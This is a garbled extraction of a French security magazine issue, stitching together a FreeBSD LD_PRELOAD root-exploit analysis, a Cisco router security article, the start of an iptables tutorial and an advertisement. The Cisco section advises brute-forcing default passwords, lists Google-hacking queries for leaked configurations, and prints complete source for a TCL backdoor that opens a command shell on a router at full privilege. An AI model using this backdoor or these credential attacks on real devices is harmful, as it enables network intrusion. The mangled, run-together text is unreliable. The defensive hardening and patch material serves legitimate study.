unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 13: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

Seacutecuriteacute CiSCO

hakin9orgfr 15

et de lancer des attaques de brute force par diction-naire

Pour essayer de compromettre les mots de passe dune machine privileacutegiez les mots de passe par deacute-faut et les comptes triviaux ciscocisco adminadmin testtest

Vous serez eacutetonneacute de voir combien ces mots de passe sont utiliseacutes vous pouvez dailleurs vous en rendre compte en deacutechiffrant les mots de passe des fichiers de configuration trouvables avec le google-hacking

Hydra et cisco-torch peuvent servir pour avoir ac-cegraves agrave la machine en brute forccedilant les protocoles suivant telnet ssh web et snmp Lrsquooutil enabler permet de brute forcer laccegraves aux privilegraveges plus eacuteleveacutes

Ce type dattaque est tregraves bruyant nimporte quel outil de correacutelation de log est capable de le deacutetecter

Pour compromettre un routeur ou un commutateur Cisco il est possible dexploiter une vulneacuterabiliteacute dun des services activeacutes lIOS Cisco reste difficile agrave exploi-ter et la grande majoriteacute des vulneacuterabiliteacutes ne causent que des deacutenis de service

OSVDB CVE et SecuriyVulnentrabilitynet reacutefeacuteren-cent un tregraves grand nombre de vulneacuterabiliteacutes publieacutees et renvoient vers des codes dexploitation (packetstorm exploit-db)

Cette meacutethode digne dun script-kiddie est rare-ment efficace contre les systegravemes dexploitation Cisco car comme indiqueacute preacuteceacutedemment le grand

nombre de versions dOS rend difficile la reacutedaction de code dexploitation fonctionnat sur toutes les ver-sions

Apregraves compromission de la machine il est possible dutiliser un script TCL pour creacuteer un trojan sur la plate-forme

Voici un exemple dun trojan TCL sur le routeur (cf Listing 4)

Ce script eacutecoute sur le port 1234 vous pouvez le mo-difier en changeant la commande set port 1234 par le port que vous voulez utiliser

approche deacutefensiveDeacutesactivation des services inutiliseacutes le durcisse-ment du Management Plane commence par la deacutesac-tivation de tous les services inutiliseacutes qui sont parfois vulneacuterables ou grand consommateurs de ressources donc vecteurs dattaques de deacutenis de service (cf Lis-ting 7)

Voici une liste assez complegravete des principaux servi-ces agrave deacutesactiver

bull PADbull MOPbull Fingerbull Bootpbull DNSbull Services TCP et UDP (Echo Chargen Discard)bull Script TCLbull CDP et LLDP sur les interfaces externes

Listing 2 Requecirctes googleHacking

no service single-slot-reload-enable enable secret

5 filetypeshtml -inurlcisco

ip ftp password 05080F1C2243

filetypecfg intextcisco

inurl-cfg intextenable secret

intitlelevel15exec

Listing 3 Utilisation dASS

test ass -mA -i eth0 -D 192168110 -b15 -v

ASS [Autonomous System Scanner] $Revision 214 $

(c) 2k FX ltfxphenoelitdegt

Phenoelit (httpwwwphenoelitde)

No protocols selected scanning all

Running scan with

interface eth0

Autonomous systems 0 to 15

delay is 1

in ACTIVE mode

Building target list

192168110 is alive

Scanning

Scanning IGRP on 192168110

Scanning IRDP on 192168110

Scanning RIPv1 on 192168110

shutdown

gtgtgtgtgtgtgtgtgtgtgtgt Results gtgtgtgtgtgtgtgtgtgtgt

192168110

IGRP

AS 00010 10000 (500001111111147625510)

IRDP

192168110 (18000)

192168999 (18000)

RIPv1

10000 (1)

Listing 4 Trojan TCL ndash routeur

Routergten

Routertclsh

Router(tcl)source tftptftpservertclshtcl

6201016

Pratique

Authentification et politique de mots de passe une politique stricte de mots de passe est agrave appliquer il est preacuteconiseacute dutiliser une forme dauthentification AAA

preacutefeacuterablement Tacacs+ afin de garder une trace des actions et des modifications appliqueacutees Les mots de passe des comptes locaux doivent utiliser un chiffrage

Listing 5 Trojan TCL ndash machine drsquoaccegraves

$ telnet router 1234

Trying router

Connected to router

Escape character is ^]

-------------------------------------

TclShell v01 by Andy Davis IRM 2007

-------------------------------------

Cisco IOS Software C2600 Software (C2600-

ADVENTERPRISEK9-M) Version

124(17) RELEASE

SOFTWARE (fc1)

Current privilege level is 15

Enter IOS command

show running-config

Building configuration

Current configuration 743 bytes

version 124(17)

service timestamps debug uptime

ltCUTgt

Listing 6 Trojan TCL ndash code source

TclShelltcl v01 by Andy Davis IRM 2007

IRM accepts no responsibility for the misuse of this

code

It is provided for demonstration purposes only

proc callback sock addr port

fconfigure $sock -translation lf -buffering line

puts $sock

puts $sock -------------------------------------

puts $sock TclShell v01 by Andy Davis IRM 2007

puts $sock -------------------------------------

puts $sock

set response [exec sh ver | inc IOS]

puts $sock $response

set response [exec sh priv]

puts $sock $response

puts $sock

puts $sock Enter IOS command

fileevent $sock readable [list echo $sock]

proc echo sock

global var

if [eof $sock] || [catch gets $sock line]

else

set response [exec $line]

puts $sock $response

set port 1234

set sh [socket -server callback $port]

vwait var

close $sh

Listing 7 Deacutesactivation des services

no scripting tcl init

no scripting tcl encdir

no service tcp-small-servers

no service udp-small-servers

no ip bootp server

no ip finger

no service dhcp

no ip domain lookup

no service pad

no ip http server

no ip http secure server

no ip gratuitous arp

Listing 8 Seacutecurisation de lauthentification locale

service password encrytpion

enable secret level ltlevelgt ltpasswordgt

no enable password

security authentication failure rate 10 log

security password min-length 6

Listing 9 Configuration seacutecuriseacutee de la journalisation

logging ltaddressgt

no logging console

no logging monitor

logging source-interface loopback 0

Listing 10 Configuration seacutecuriseacutee des accegraves

line vty 0 6 ltline numbersgt

transport input ssh

transport output none

exec-timeout 5 0

access-class 140 in

ip access-list extended 140

remark Management access restriction

ltaccess-listgt

deny ip any any log

6201018

Pratique

fort type MD5 et non des mots de passe de type 7 fa-cilement deacutechiffrables

Il est eacutegalement important de configurer un timeout de connexion entre 5 et 10 minutes (cf Listing 8)

Journalisation et sauvegarde des actions la journa-lisation des eacuteveacutenements ainsi que la sauvegarde des fichiers de configuration deacutependent de la politique inter-ne de lentreprise elle-mecircme deacutependant de sa capaciteacute agrave stocker et agrave inspecter les logs geacuteneacutereacutes (cf Listing 9)

Une configuration seacutecuriseacutee commence par la deacutefini-tion dune interface source des log (souvent linterface loopback0) lactivation des timestamps (facilite la lec-ture des logs) et la deacutefinition dun niveau des logs agrave en-voyer (en fonction de la capaciteacute de stockage agrave pros-crire le niveau 7)

Il est preacuteconiseacute de deacutesactiver les logs console et logs monitor susceptibles de consommer eacutenormeacutement de ressources causant un deacuteni de service

Filtrage daccegraves aux services de controcircle il existe deux meacutethodes de gestion dune plate-forme (routeur commu-tateur serveur hellip) Inbound le flux de transport et le flux de controcircle sont sur les mecircmes interfaces ou Outbound seacuteparation des flux de controcircle et des flux de transport

Le modegravele outbound est plus seacutecuriseacute son applica-tion se traduit par linstallation de serveurs de rebond souvent accessible agrave travers un VPN Des access-list sont creacuteeacutes sur le routeur nautorisant laccegraves quagrave partir de la machine de rebond Il est eacutegalement possible de deacutefinir une interface deacutedieacutee aux protocoles de gestion permettant ainsi une seacutecuriteacute optimale

LIOS Cisco permet eacutegalement dappliquer des ac-cess-list sur les accegraves SNMP en lecture seule et en lec-ture eacutecriture nautorisant que les machines de confian-ce censeacutees acceacuteder en SNMP agrave la plate-forme (cf Listing 10)

Durcissement du Control PlaneDurcir le control plane commence par le durcissement des protocoles de routages Ce sujet est neacuteanmoins

tregraves large et tregraves complexe plusieurs meacutecanismes de seacutecuriteacute existent selon le protocole utiliseacute et son fonc-tionnement la seacutecurisation de IS-IS est diffeacuterente de la seacutecurisation dOSPF par exemple

Il est cependant important dutiliser des secrets parta-geacutes de filtrer les annonces reccedilues en bloquant les an-nonces des blocs IP internes

Les environnements commuteacutes doivent obligatoi-rement ecirctre durcis contre les attaques MITM comme lempoisonnement ARP ces attaques souvent faciles agrave mener ont un effet deacutevastateur

Lutilisation du DHCP snooping du DAI (Dynamic ARP Inspection) et du Port security permet de pallier ce risque

Proteacuteger les ressources CPU des plates-formes en assurant le traitement des flux critiques (routage et ma-nagement) est possible gracircce au CoPP ce meacutecanisme est parfois long agrave impleacutementer

Il faut configurer des ACL pour deacutefinir les cateacutegories de flux en fonction de leur importance (routage mana-gement indeacutesirable normal et autre)

Configurer des Class-map pour chaque cateacutegorie et finalement configurer des Policy-map avec les valeurs autoriseacutes est le comportement adeacutequat pour chaque ty-pe de flux

Le CoPP nagit que sur les flux traiteacutes par le CPU et ninfluence aucunement les flux de transport

Durcissement du Data PlaneLa grande majoriteacute des attaques utilisent le spoofing dadresses IP pour diverses raisons Cisco propose un meacutecanisme dantispoofing (uRPF) utilisant la table de routage Ce meacutecanisme protegravege contre le spoofing des adresses IP internes

uRPF existe en plusieurs modes (strict loose vrf hellip) selon la symeacutetrie du routage et lutilisation de routeurs virtuels

Outre le blocage du spoofing dadresses IP avec luR-PF il est preacuteconiseacute de bloquer

table 2 RFC 3330

Scope Description

00008 laquoCeraquo reacuteseau

10008 Reacuteseau priveacute RFC 1918

127000 Loopback

1692540016 Lien local

172160012 Reacuteseau priveacute RFC 1918

19202024 Reacuteseau de test

1928899024 Relais anycast IPv6 agrave IPv4

1921680016 Reacuteseau priveacute RFC 1918

198180015 Test deacutevaluation de plates-formes

2240004 Multicast

hakin9orgfr 19

bull Bloques IP du RFC3330bull Messages ICMPbull Paquets fragmenteacutes

ConclusionLa seacutecuriteacute des plates-formes Cisco est un sujet vaste et passionnant il permet de sinteacuteresser agrave la fois agrave la seacute-curiteacute reacuteseau et systegraveme Les vecteurs dattaques sont nombreux et un simple article ne peut preacutetendre agrave les couvrir tous

Seacutecuriser ces plates-formes oblige donc agrave sinteacuteres-ser au fonctionnement des protocoles utiliseacutes et de lar-chitecture Hardware et Software du systegraveme

La compromission drsquoune telle plate-forme peut ecirctre fatale les nouveaux IOS proposent de nouvelles fonc-tionnaliteacutes permettant par exemple denregistrer le tra-fic sur une interface ou un VLAN et ainsi extraire les mots de passes et les informations circulant en clair dougrave limportance de sinteacuteresser agrave leur seacutecuriteacute

Agrave PrOPOS De LauteurLauteur est eacutetudiant en troisiegraveme anneacutee agrave Telecom SudParis (ex Telecom INT) il e ectue actuellement un stage dune an-neacutee agrave Bouygues Telecom en seacutecuriteacute reacuteseau Vous pouvez le contacter agrave ladresse mail suivante alaeddinemesbahigmailcom

Sur internetbull wwwhackersforcharityorgghdb ndash Liste de requecirctes go-

oglehacksbull wwwphenoelit-usorgdpldplhtml ndash Liste de mots de pas-

se par deacutefautbull wwwsecurityvulnerabilitynet ndash Excellent moteur de re-

cherche de vulneacuterabiliteacutes (BD de vulneacuterabiliteacutes CVE)

terminologiebull AS (Autonomous System) un ensemble de reacuteseaux IP so-

us le controcircle dune seule et mecircme entiteacute typiquement un fournisseur daccegraves agrave Internet ou une plus grande or-ganisation qui possegravede des connexions redondantes avec le reste du reacuteseau Internet Wikipeacutedia

bull Looking glass serveurs accessibles agrave partir dinternet po-ur visionner des informations sur le routage et des statisti-ques sur le trafi c

bull AAA correspond agrave un protocole qui reacutealise trois fonctions lauthentifi cation lautorisation et la traccedilabiliteacute (en An-glaisAuthentication Authorization AccountingAuditing) Wikipeacutedia

19

6201020

Seacutecuriteacute reacuteSeaux

Dans le noyau 22 avec ipchains le code du pare-feu eacutetait eacuteparpilleacute au travers de la couche applica-tive reacuteseau ce qui ne facilitait pas la maintenance

Depuis les noyaux 24 la solution de filtrage Netfilter est inteacutegreacutee au noyau des distributions ce qui permet de meilleures performances et une grande faciliteacute dutilisation

Cette solution permet une analyse au niveau TCPIP et la gestion dIPV4 IPV6 IPX ARP (et bien dautre) deffectuer du filtrage la translation dadresse (NAT) ain-si que lalteacuteration de paquet (MANGLE) Par Netfilter on deacutesigne lensemble des fonctions internes du noyau qui reacutealisent les opeacuterations de filtragefirewall Iptables sert dinterface de configuration il fonctionne en mode utili-sateur Larriveacutee du mode StateFull a apporteacute un grand confort dutilisation plus de filtrage brut on met en place un systegraveme de filtrage intelligent

Fonctionnement de NetfilterLe but dun pare-feu est de bloquer filtrer router mo-difier des paquets reacuteseaux Les regravegles de configuration de Netfilter (iptables) ont eacuteteacute creacuteeacutees pour ecirctre simple dutilisation mecircme si lon verra que lon peut tregraves bien creacuteer des regravegles tregraves longues et tregraves compliqueacutees Pour ce faire des points dencrages (hook) ont eacuteteacute mis en pla-ce leur rocircle est de permettre une gestion des paquets agrave chacun des points dexploitation (voir Figure 1)

bull NF _ IP _ PRE _ ROUTING paquets entrants sur linterfa-ce

bull NF _ IP _ LOCAL _ IN paquets destineacutes agrave la machine locale

bull NF _ IP _ FORWARD paquets agrave routerbull NF _ IP _ LOCAL _ OUT paquets eacutemis depuis la machine

localebull NF _ IP _ POST _ ROUTING paquets sortants de linterface

Chacun de ces points dencrages correspond agrave une chaine que nous allons exploiter dans la conception de regravegles qui vont deacutefinir quel paquet est accepteacute ou reje-teacute (voir Figure 2)

bull NF _ IP _ PRE _ ROUTING PREROUTINGbull NF _ IP _ LOCAL _ IN INPUTbull NF _ IP _ FORWARD FORWARDbull NF _ IP _ LOCAL _ OUT OUTPUTbull NF _ IP _ POST _ ROUTING POSTROUTING

Le traitement des paquets est effectueacute de maniegravere seacute-quentielle cest agrave dire dans lordre dans lesquelles les regravegles ont eacuteteacute appliqueacutees (dougrave limportance de bien tout faire dans lordre) Le paquet sera traiteacute de la ma-niegravere suivante par le noyau

bull Reconnaissance de la Table (on traite le paquet en fonction des regravegles de la table) FILTER NAT MANGLE

bull Reconnaissance pour aiguillage (type de paquet INPUT OUTPUT)

Firewall sous linux

Maintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutematiques de seacutecuriteacute se font grandissantes Apregraves limpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se pose plus Nous allons voir ensemble le fonctionnement diptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur la seacutecurisation dune machine connecteacutee agrave Internet

cet article expliquebull Le fonctionnement des pare-feubull Les bonnes pratiques pour la mise en place dun pare-feubull Comment configurer Netfilterbull Les fonctions de routagebull Le filtrage avec IPV6

ce quil faut savoirbull Des connaissances en administration Linuxbull Le fonctionnement des reacuteseaux et protocoles (Ethernet TCP

IP UDPIP)

Nicolas Hanteville

Firewall

hakin9orgfr 21

bull Je veux pouvoir naviguer sur les sites web normaux et seacutecuriseacutes (HTTP HTTPS)

bull Je veux pouvoir teacuteleacutecharger et envoyer des mails (SMTP POP3 IMAP)

bull Je veux pouvoir acceacuteder au transfert de fichier (FTP)

Dans le cas preacutesent si je ne prends en compte que ces demandes je vais avoir des problegravemes Ici je ne traite pas la reacutesolution adressenom il va donc falloir ajou-ter aussi lautorisation du protocole DNS Pour faire des tests reacuteseau et veacuterifier que mon routeur fonctionne bien jaurais surement besoin dICMP Si je veux tes-ter ma machine localement jaurais surement besoin dautoriser le LOOPBACK Si dans mon reacuteseau je veux administrer ma machine agrave distance via SSH il faudra aussi le prendre en compte

tableau des fluxNous allons maintenant nous attaquer agrave la premiegravere des phases de mise en place du pare-feu agrave savoir le tableau des flux Le but est de mettre en place un tableau qui repreacutesente la totaliteacute des flux que nous voulons autori-ser Dans le futur en cas deacutevolution de notre filtrage ou danalyse plus pousseacutee le travail sera simplifieacute si nous avons un tableau il permet de comprendre plus rapide-ment la politique que lon a voulu mettre en place

Pour reacutediger une regravegle nous avons besoin de plu-sieurs paramegravetres

bull Si le flux est en entreacutee (INPUT) ou en sortie (OUT-PUT)

bull Leacutetat de la connexion (nouvelle connexion suivie de connexion)

bull Le type de protocole (ICMP TCP UDP)bull Ladressage source (dougrave provient le flux)

bull Test de la validiteacute du paquet par rapport agrave la pre-miegravere regravegle si le paquet correspond agrave une autori-sation il passe (chaine ACCEPT) sil correspond agrave une interdiction il est supprimeacute (chaine DROP) si-non il passe agrave la regravegle suivante

bull Le paquet agrave traverseacute toutes les regravegles car aucune ne lui correspondait le paquet est donc traiteacute par la politique par deacutefaut (ACCEPT ou DROP)

Afin dexploiter les possibiliteacutes de Netfilter il faut creacuteer des regravegles Ces regravegles sont composeacutees de la table pour laquelle le paquet sera traiteacute de chaines qui deacute-finissent le point de traitement (INPUT OUTPUT) le protocole les ports les adresses (hellip) ainsi que le reacute-sultat de lapplication de la regravegle (ACCEPT ou DROP)

Les bonnes pratiquesAvant de commencer la reacutedaction de regravegles il est impor-tant de ne pas tomber dans la creacuteduliteacute et dire jai un pare-feu je suis proteacutegeacute

Un pare-feu cest comme avec un parapluie sil est casseacute quil y a trop de vent ou que je ne louvre pas il ne protegravege pas de la pluie

Au lieu donc de faire nimporte quoi et de partir dans des eacutelucubrations qui donneront des regravegles incoheacuteren-tes qui laisseront passer ce qui doit ecirctre filtreacute et qui filtre-ra ce qui doit passer il faut faire une liste des besoins

Dans cet article nous allons partir sur un cas tregraves sim-ple jai une machine en frontale sur internet avec une seule carte reacuteseau je veux limiter au maximum les pos-sibiliteacutes dy acceacuteder tout en me permettant de lexploiter Bien sucircr quelques modifications simples permettront dadapter ce cas au votre (sans entrer dans des archi-tectures trop complexes voir Figure 3)

Tout dabord nous allons eacutenoncer nos besoins primai-res

Figure 2 Chaines

Figure 1 Points dencrage

6201022

Seacutecuriteacute reacuteSeaux

bull Le port sourcebull Ladressage de destination (ougrave va le flux)bull Le port destination

Pour lexemple ladresse IP de la machine sera 19216802 Consultez la Table 1 table des flux cor-respondant aux besoins de notre exemple

Ici je mautorise agrave faire un PING sur toutes les machi-nes du monde mais pas agrave reacutepondre agrave un PING prove-nant dune autre machine De mecircme je nai pas repreacute-senteacute le LOOPBACK

Lorsque lon voit ce tableau et que lon a jamais fait de regravegles iptables une question se pose tout de suite quest ce que NEW ESTABLISHED ou bien RELATED veulent dire Et bien cest assez simple NEW correspond agrave la creacuteation dune nouvelle connexion ESTABLISHED signi-fie que la connexion est deacutejagrave eacutetablie et que cest la suite

et RELATED signifie que cest une nouvelle connexion en relation avec une autre connexion Lutilisation des eacutetats permet une utilisation beaucoup plus simple en effet le pare-feu est maintenant intelligent de plus certaines fonc-tionnaliteacutes sont geacutereacutees par des modules compleacutementaires (nous verrons cela dans la partie deacutedieacutee au FTP)

Pour deacuteterminer si un paquet est la reacuteponse dun autre paquet le noyau enregistre les sessions pour les visua-liser on peut utiliser loutil conntrack pour visionner son contenu conntrack -E ou more procnetip_conntrack

Format des regravegles avec iptablesVoici comment se compose une regravegle

bull iptables (Appel de la commande)bull iptables table (si aucune nest preacuteciseacutee cest la table

FILTER) exemple (ici -t FILTER) iptables -t FILTER -P INPUT DROP

bull iptables chaicircne (chaicircne de la commande) exemple (ici -P INPUT) iptables -P INPUT -j DROP

bull iptables chaicircne motifs de reconnaissance exemple (ici -s 19216801) iptables -A INPUT -s 19216801 -j DROP

bull iptables chaicircne motifs de reconnaissance cibles exem-ple (ici -j DROP) iptables -A INPUT -s 19216801 -j DROP

La table FiLterContient les regravegles de filtrage pour les paquets entrants et sortants localement sur la machine cest la table par deacutefaut si non speacutecifieacutee Elle permet lutilisation des chaicirc-nes suivantes INPUT OUTPUT FORWARD

La table NatElle gegravere la transaction dadresse et de port elle per-met de transformer notre pare-feu en routeur Elle per-met lutilisation des chaicircnes suivantes PREROUTING POSTROUTING OUTPUT Cette table nest pas utili-seacutee dans le cadre de lIPV6

La table MaNGLeCette table est tregraves utile pour effectuer du controcircle de flux (deacutebit reacuteseau et prioriteacute) ainsi que du marquage de paquets Elle permet lutilisation des chaicircnes suivantes PREROUTING INPUT FORWARD OUTPUT POS-TROUTING

La table raWRAW sert agrave placer des marques sur les paquets qui ne doivent pas ecirctre veacuterifieacutes par le systegraveme de traccedilage de connexion (utilisation de la cible NOTRACK sur le paquet) Elle permet lutilisation des chaicircnes suivantes PREROUTING OUTPUT

Fichiers et commandes importantesAfficher la liste des regravegles de filtrage en numeacuterotant les lignes et en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port Figure 4 Sceacutenario 2

Figure 3 Sceacutenario 1

formations

Rentreacutee 2010 les incontournables

formaformaformationstionstionstionstionstionsamp Certification professionnelle

Renseignements amp Inscriptions bull Teacutel 0821 20 25 00 (prix drsquoun appel local)

bull infoglobalknowledgefr

Teacuteleacutechargez le catalogue complet sur

wwwglobalknowledgefr

Global Knowledge France - Siegravege social - Tour Albert 1er - 65 avenue de Colmar - 92507 Rueil-Malmaison cedex - Teacutel 01 78 15 34 00 - Fax 01 78 15 33 90 copy 2010 Global Knowledge Training LLC

Gestion de projet PMI Prince 2bull Introduction au management de projetsbull La gestion des projets informatiques (IT)bull PMP Bootcamp Preacuteparation agrave la certificationbull Prince 2 Foundation

Gouvernance amp Management Informatiquebull La gouvernance et performance des Systegravemes drsquoinformationbull Les tableaux de bord de la performance informatiquebull Rentabiliteacute et valeur ajouteacutee des investissements informatiquesbull Cobit Foundation et la gouvernance des SIbull ITIL v3 Foundationbull Le cas Wall Street simulation sur ITIL v3 et ISO 20000 bull ISOIEC 20000 Foundationbull ISOIEC 27002 Foundationbull Maicirctriser et accompagner les changementsbull Deacutevelopper le leadership et les qualiteacutes de pilotage des managersbull Devenez manager coach de votre eacutequipe

Formations eacuteligibles au DIF | Support de cours remis agrave chaque participant

Les Essentiels Reacuteseaux Virtualisation Voix Seacutecuriteacute

bull Les reacuteseaux architectures mise en oeuvre et perspectives bull Enjeux et solutions drsquoun environnement virtuel bull Voix sur IP les fondamentaux bull La VoIP seacutecuriseacutee bull Les fondamentaux de la seacutecuriteacute informatiquebull CISSP Preacuteparation agrave la Certification bull Hacking Defined Advanced se proteacuteger contre les agressions du SI

Reacuteseaux Ciscobull Interconnecting Cisco Network Devices Part 1 (ICND1)bull Implementing Cisco IP Routing (ROUTE) nouveaubull Implementing Cisco IP Switched Networks (SWITCH) nouveaubull Troubleshooting amp Maintaining Cisco IP Networks (TSHOOT) nouveaubull Configurer BGP sur des routeurs Cisco (BGP)bull Cisco IPV6 Concepts Design et Deacuteploiement (IPV6)bull Implementing Cisco MPLS (MPLS)bull Mettre en oeuvre une infrastructure Cisco MultiCast (ICMI) nouveaubull Mettre en oeuvre CiscoWorks LMS (CWLMS)bull Mettre en oeuvre la seacutecuriteacute des reacuteseaux IOS Cisco (IINS)bull Seacutecuriser les reacuteseaux avec des routeurs et switches Cisco (SNRS)bull Les fondamentaux de la seacutecuriteacute des reacuteseaux avec Cisco ASA (SNAF)bull Cisco Wireless Lan Fundamentals (CWLF)bull Mettre en oeuvre Cisco IOS Unified Communications (IIUC)bull Cisco La Voix sur IP version 60 (CVOICEV6)bull Mettre en oeuvre la Qos Cisco (QOS)bull Cisco IP Telephony Part 1 version 6 (CIPT1V6)bull Data Center Network Infrastructure (DCNI-1)

Plus de 350 formations agreacuteeacutees par les eacutediteurs et constructeurs et 4000 sessions deacutelivreacutees par an font de Global Knowledge un organisme de formation reacutefeacuterent en informatique en management des Systegravemes drsquoInformation et gestion de projets IT

Virtualisation VMware Microsoft amp Citrix bull VMware Whatrsquos New vSphere 4 (mise agrave jour des connaissances) bull VMware vSphere 4 installation configuration et administration bull VMware View installation configuration et administration bull VMware vSphere 4 Troubleshooting nouveaubull VMware vSphere 4 Design nouveau

bull Mettre en oeuvre la virtualisation sous Windows 2008 (Hyper-V)bull Administrer les postes de travail avec MDOP bull Deacuteployer et administrer System Center Virtual Machine Managerbull Planifier deacuteployer et geacuterer System Center Configuration Manager bull Mettre en oeuvre et geacuterer System Center Operations Manager 2007

bull Mettre en oeuvre Citrix XenApp 5 pour Windows Server 2008bull Citrix Desktop Infrastructure geacuterer XenServer XenDesktop et Provisioning Serverbull Mettre en oeuvre une solution de virtualisation avec Citrix nouveau

ClientServeurMessagerie Microsoftbull Installation et configuration du client Windows 7 bull Planifier les deacuteploiements et administrer les environnements Windows 7bull Configuration et administration de SharePoint Server 2010 nouveaubull Deacutevelopper et personnaliser les applications pour Sharepoint 2010 nouveaubull Lrsquoessentiel de lrsquoadministration de serveurs Windows 2008bull Configurer et deacutepanner une infrastructure reacuteseau Windows 2008bull Active Directory pour Windows Server 2008bull Configuration administration et deacutepannage de Exchange Server 2010bull Concevoir et deacuteployer des solutions de messagerie avec Exchange 2010 nouveaubull Mise en œuvre et maintenance des outils de communications unifieacutees avec OCS R2

Global Knowledge a eacuteteacute eacutelu laquoMeilleur partenaire Formation de lrsquoanneacuteeraquo par Cisco VMware et Citrix

pub_Hackin9_ete2010indd 1 28062010 101155

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

